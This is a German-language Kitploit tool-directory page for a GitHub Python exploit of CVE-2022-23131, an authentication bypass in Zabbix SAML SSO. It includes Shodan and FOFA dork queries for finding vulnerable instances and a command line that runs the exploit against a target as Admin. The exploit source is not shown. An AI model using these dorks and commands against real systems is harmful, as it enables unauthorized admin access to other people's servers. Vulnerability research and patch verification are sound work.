Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-23131 — Python-Exploit für CVE-2022-23131, der die SAML-SSO-Authentifizierungsumgehung von Zabbix ausnutzt. Enthält Shodan- und FOFA-Dorks zur Entdeckung verwundbarer Instanzen. | Kitploit
Tools/GitHubGitHub/kh4sh3i/cve-2022-23131
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsAuthentifizierung
GitHubkh4sh3i/cve-2022-23131

CVE-2022-23131

Python-Exploit für CVE-2022-23131, der die SAML-SSO-Authentifizierungsumgehung von Zabbix ausnutzt. Enthält Shodan- und FOFA-Dorks zur Entdeckung verwundbarer Instanzen.

Repository anzeigen
1561vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-23131

Zabbix - Umgehung der SAML-SSO-Authentifizierung

Beschreibung

In Fällen, in denen die SAML-SSO-Authentifizierung aktiviert ist (nicht standardmäßig), können Sitzungsdaten von einem Angreifer verändert werden, da ein in der Sitzung gespeicherter Benutzer-Login nicht überprüft wurde.

Dork:

root@kitploit:~
shodan-query: http.favicon.hash:892542951
root@kitploit:~
fofa-query: app="ZABBIX-监控系统" && body="saml"

Verwendung

root@kitploit:~
python3 zabbix_session_exp.py  -t https:target.com -u Admin

Referenzen

  • https://nvd.nist.gov/vuln/detail/CVE-2022-23131
  • https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
  • https://github.com/Mr-xn/cve-2022-23131
  • https://github.com/projectdiscovery/nuclei-templates
    • Tool herunterladen